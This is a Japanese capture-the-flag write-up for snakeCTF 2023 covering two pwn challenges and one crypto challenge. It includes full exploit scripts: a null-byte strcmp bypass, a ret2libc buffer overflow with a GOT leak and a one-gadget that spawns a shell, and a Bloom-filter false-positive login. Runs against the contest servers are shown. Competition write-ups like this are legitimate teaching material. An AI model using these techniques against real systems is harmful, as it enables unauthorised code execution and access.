この大会は2023/12/9 18:00(JST)~2023/12/10 18:00(JST)に開催されました。
今回もチームで参戦。結果は315点で180チーム中39位でした。
自分で解けた問題をWriteupとして書いておきます。
military grade authentication (pwn)
Ghidraでデコンパイルする。
void main(EVP_PKEY_CTX *param_1) { int iVar1; ssize_t sVar2; long in_FS_OFFSET; undefined8 local_58; undefined8 local_50; undefined8 local_48; undefined8 local_40; undefined8 local_38; undefined8 local_30; undefined8 local_28; undefined8 local_20; undefined8 local_10; local_10 = *(undefined8 *)(in_FS_OFFSET + 0x28); local_58 = 0; local_50 = 0; local_48 = 0; local_40 = 0; local_38 = 0; local_30 = 0; local_28 = 0; local_20 = 0; init(param_1); iVar1 = open("/dev/urandom",0); if (iVar1 == -1) { err(1,"Someone stole my entropy file"); } sVar2 = read(iVar1,&local_38,0x20); if (sVar2 != 0x20) { errx(1,"How does this even happen??"); } close(iVar1); printf(&DAT_00102058); sVar2 = read(0,&local_58,0x80); if (sVar2 < 1) { err(1,"read broken lol"); } iVar1 = strcmp((char *)&local_58,(char *)&local_38); if (iVar1 == 0) { puts(&DAT_00102118); get_shell(); } puts(&DAT_00102148); /* WARNING: Subroutine does not return */ exit(1); }
入力前半32バイト(終端\0まで)と後半32バイト(終端\0まで)が同じものを指定すれば、条件を満たしシェルが取れる。
#!/usr/bin/env python3 from pwn import * if len(sys.argv) == 1: p = remote('pwn.snakectf.org', 1337) else: p = process('./military_grade_auth') payload = b'A' * 16 payload += b'\x00' * 16 payload += b'A' * 16 payload += b'\x00' * 16 data = p.recvuntil(b':') print(data, end='') print(payload) p.sendline(payload) data = p.recvline().rstrip() print(data) p.interactive()
実行結果は以下の通り。
[+] Opening connection to pwn.snakectf.org on port 1337: Done b'\xe2\x9b\x94\xef\xb8\x8f Stop right here \xf0\x9f\xab\xb8, this is a private property. Only allowed individuals can get inside! \xe2\x9b\x94\xef\xb8\x8f\nPlease insert the \xe2\x98\x85secret\xe2\x98\x85 password to verify your identity:'b'AAAAAAAAAAAAAAAA\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00AAAAAAAAAAAAAAAA\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' b' \xe2\x9c\x94\xef\xb8\x8f Looking good. You can go ahead. \xe2\x9c\x94\xef\xb8\x8f' [*] Switching to interactive mode $ ls flag.txt run $ cat flag.txt snakeCTF{h1pp17y_h0pp17y_7h47'5_my_pr0p3r7y}
snakeCTF{h1pp17y_h0pp17y_7h47'5_my_pr0p3r7y}
obligatory bof (pwn)
$ checksec --file obligatory_bof [*] '/media/sf_Shared/obligatory_bof' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
Ghidraでデコンパイルする。
undefined8 main(EVP_PKEY_CTX *param_1) { undefined8 local_28; undefined8 local_20; undefined8 local_18; undefined8 local_10; local_28 = 0; local_20 = 0; local_18 = 0; local_10 = 0; init(param_1); printf("Well, just tell me what to do: "); read(0,&local_28,0x100); puts("Ok, got it!"); return 0; }
GOT領域のアドレスをリークし、libcのbaseアドレスを算出してからmainに飛ばし、2周目でOne Gadget RCEを行う。
$ ROPgadget --binary obligatory_bof --re "pop rdi" Gadgets information ============================================================ 0x00000000004012d3 : pop rdi ; ret Unique gadgets found: 1 $ gdb -q ./obligatory_bof Reading symbols from ./obligatory_bof... (No debugging symbols found in ./obligatory_bof) gdb-peda$ pattc 100 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL' gdb-peda$ r Starting program: /media/sf_Shared/obligatory_bof [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". Well, just tell me what to do: AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL Ok, got it! Program received signal SIGSEGV, Segmentation fault. Warning: 'set logging off', an alias for the command 'set logging enabled', is deprecated. Use 'set logging enabled off'. Warning: 'set logging on', an alias for the command 'set logging enabled', is deprecated. Use 'set logging enabled on'. [----------------------------------registers-----------------------------------] RAX: 0x0 RBX: 0x7fffffffde58 --> 0x7fffffffe1e2 ("/media/sf_Shared/obligatory_bof") RCX: 0x7ffff7ebdad0 (<__GI___libc_write+16>: cmp rax,0xfffffffffffff000) RDX: 0x0 RSI: 0x7ffff7f9a803 --> 0xf9ba30000000000a RDI: 0x7ffff7f9ba30 --> 0x0 RBP: 0x6141414541412941 ('A)AAEAAa') RSP: 0x7fffffffdd48 ("AA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL\n") RIP: 0x40126a (<main+111>: ret) R8 : 0x4012e0 (<__libc_csu_fini>: endbr64) R9 : 0x7ffff7fcfaf0 (<_dl_fini>: push rbp) R10: 0x7ffff7dcffd0 --> 0x100022000065f3 R11: 0x202 R12: 0x0 R13: 0x7fffffffde68 --> 0x7fffffffe202 ("CLUTTER_IM_MODULE=xim") R14: 0x0 R15: 0x7ffff7ffd000 --> 0x7ffff7ffe2c0 --> 0x0 EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x40125f <main+100>: call 0x401070 <puts@plt> 0x401264 <main+105>: mov eax,0x0 0x401269 <main+110>: leave => 0x40126a <main+111>: ret 0x40126b: nop DWORD PTR [rax+rax*1+0x0] 0x401270 <__libc_csu_init>: endbr64 0x401274 <__libc_csu_init+4>: push r15 0x401276 <__libc_csu_init+6>: lea r15,[rip+0x2b93] # 0x403e10 [------------------------------------stack-------------------------------------] 0000| 0x7fffffffdd48 ("AA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL\n") 0008| 0x7fffffffdd50 ("bAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL\n") 0016| 0x7fffffffdd58 ("AcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL\n") 0024| 0x7fffffffdd60 ("AAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL\n") 0032| 0x7fffffffdd68 ("IAAeAA4AAJAAfAA5AAKAAgAA6AAL\n") 0040| 0x7fffffffdd70 ("AJAAfAA5AAKAAgAA6AAL\n") 0048| 0x7fffffffdd78 ("AAKAAgAA6AAL\n") 0056| 0x7fffffffdd80 --> 0xa4c414136 ('6AAL\n') [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV 0x000000000040126a in main () gdb-peda$ patto AA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL AA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL found at offset: 40
各関数のアドレスをleakし、下3桁を確認する。
puts: 420 printf: c90 read: fc0
https://libc.blukat.me/で調べた結果、libc6_2.31-0ubuntu9.12_amd64が該当する。ダウンロードして、one gadgetを調べる。
$ one_gadget libc6_2.31-0ubuntu9.12_amd64.so 0xe3afe execve("/bin/sh", r15, r12) constraints: [r15] == NULL || r15 == NULL || r15 is a valid argv [r12] == NULL || r12 == NULL || r12 is a valid envp 0xe3b01 execve("/bin/sh", r15, rdx) constraints: [r15] == NULL || r15 == NULL || r15 is a valid argv [rdx] == NULL || rdx == NULL || rdx is a valid envp 0xe3b04 execve("/bin/sh", rsi, rdx) constraints: [rsi] == NULL || rsi == NULL || rsi is a valid argv [rdx] == NULL || rdx == NULL || rdx is a valid envp
#!/usr/bin/env python3 from pwn import * if len(sys.argv) == 1: p = remote('pwn.snakectf.org', 1338) else: p = process('./obligatory_bof') elf = ELF('./obligatory_bof') libc = ELF('./libc6_2.31-0ubuntu9.12_amd64.so') pop_rdi_addr = 0x4012d3 puts_plt_addr = elf.plt['puts'] puts_got_addr = elf.got['puts'] main_addr = elf.symbols['main'] one_gadget_addr = 0xe3b01 payload = b'A' * 40 payload += p64(pop_rdi_addr) payload += p64(puts_got_addr) payload += p64(puts_plt_addr) payload += p64(main_addr) data = p.recvuntil(b': ').decode() print(data, end='') print(payload) p.sendline(payload) data = p.recvline().rstrip().decode() print(data) leak = p.recvline().rstrip() puts_addr = u64(leak.ljust(8, b'\0')) log.info('leaked puts address: ' + hex(puts_addr)) libc_base = puts_addr - libc.symbols['puts'] log.info('libc base address: ' + hex(libc_base)) payload = b'A' * 40 payload += p64(libc_base + one_gadget_addr) data = p.recvuntil(b': ').decode() print(data, end='') print(payload) p.sendline(payload) data = p.recvline().rstrip().decode() print(data) p.interactive()
実行結果は以下の通り。
[+] Opening connection to pwn.snakectf.org on port 1338: Done [*] '/media/sf_Shared/obligatory_bof' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) [*] '/media/sf_Shared/libc6_2.31-0ubuntu9.12_amd64.so' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled Well, just tell me what to do: b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xd3\x12@\x00\x00\x00\x00\x00\x18@@\x00\x00\x00\x00\x00t\x10@\x00\x00\x00\x00\x00\xfb\x11@\x00\x00\x00\x00\x00' Ok, got it! [*] leaked puts address: 0x7fd8a6158420 [*] libc base address: 0x7fd8a60d4000 Well, just tell me what to do: b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x01{\x1b\xa6\xd8\x7f\x00\x00' Ok, got it! [*] Switching to interactive mode $ ls flag.txt run $ cat flag.txt snakeCTF{w3lc0m3_70_5n4k3c7f_pwn3r}
snakeCTF{w3lc0m3_70_5n4k3c7f_pwn3r}
bloom bloom (crypto)
サーバの処理概要は以下の通り。
・TIMEOUT = 300 ・FLAGは"CTF{"から始まり、"}"で終わることをチェック ・alphabet = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" ・users = 0b0 ・hash_functions_count = 5 ・size = 256 ・logged_in = False ・key: ランダム16バイト文字列 ・iv: ランダム16バイト文字列 ・以下繰り返し ・choice: 入力 ・choiceが"1"の場合 ・logged_inがTrueの場合、choice入力からやり直し ・username: 入力 ・usernameが128バイトより長いか、alphabet似ない文字が使われている場合、choice入力からやり直し ・usernameが"Administrator"の場合、choice入力からやり直し ・res = check_user(username) ・enc_username: usernameをパディングし、AES ECB暗号化したもの ・以下5回繰り返し ・digest = mmh3.hash(enc_username, i) % size ・users & (0x1 << digest) == 0の場合、Falseを返す。 ・Trueを返す。 ・resがTrueの場合 ・login() ・logged_in = True ・choiceが"2"の場合 ・logged_inがTrueの場合、choice入力からやり直し ・check_user("Administrator")がTrueの場合、フラグを表示 ・choiceが"3"の場合 ・username: 入力 ・usernameが128バイトより長いか、alphabet似ない文字が使われている場合、choice入力からやり直し ・usernameが"Administrator"の場合、choice入力からやり直し ・res = check_user(username) ・resがTrueの場合、choice入力からやり直し ・add_user(username) ・enc_username: usernameをパディングし、AES ECB暗号化したもの ・以下5回繰り返し ・digest = mmh3.hash(enc_username, i) % size ・users = users | (0x1 << digest) ・choiceが"4"の場合 ・logged_inがTrueの場合 ・logout() ・logged_in = False ・choiceが"5"の場合、終了
適当に何ユーザも登録し、usersのビットをできるだけ立てれば、"Administrator"としてログインできる。
#!/usr/bin/env python3 import socket def recvuntil(s, tail): data = b'' while True: if tail in data: return data.decode() data += s.recv(1) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('crypto.snakectf.org', 1400)) for i in range(128): data = recvuntil(s, b'> ') print(data + '3') s.sendall(b'3\n') data = recvuntil(s, b': ') print(data + str(i)) s.sendall(str(i).encode() + b'\n') data = recvuntil(s, b'\n').rstrip() print(data) data = recvuntil(s, b'> ') print(data + '2') s.sendall(b'2\n') data = recvuntil(s, b'\n').rstrip() print(data) data = recvuntil(s, b'\n').rstrip() print(data)
実行結果は以下の通り。
__ Welcome to the super secure Database __ 1) Login 2) Login as Administrator 3) Register 4) Logout 5) Exit > 3 Username: 0 Good job 0! You are now able to Login 1) Login 2) Login as Administrator 3) Register 4) Logout 5) Exit > 3 Username: 1 Good job 1! You are now able to Login 1) Login 2) Login as Administrator 3) Register 4) Logout 5) Exit > 3 Username: 2 Good job 2! You are now able to Login 1) Login 2) Login as Administrator 3) Register 4) Logout 5) Exit : : 1) Login 2) Login as Administrator 3) Register 4) Logout 5) Exit > 3 Username: 125 Such username already exists! 1) Login 2) Login as Administrator 3) Register 4) Logout 5) Exit > 3 Username: 126 Such username already exists! 1) Login 2) Login as Administrator 3) Register 4) Logout 5) Exit > 3 Username: 127 Such username already exists! 1) Login 2) Login as Administrator 3) Register 4) Logout 5) Exit > 2 Welcome back Administrator Here is your flag: snakeCTF{w3lc0me_to_cryp70_ch4ll3ng35}
snakeCTF{w3lc0me_to_cryp70_ch4ll3ng35}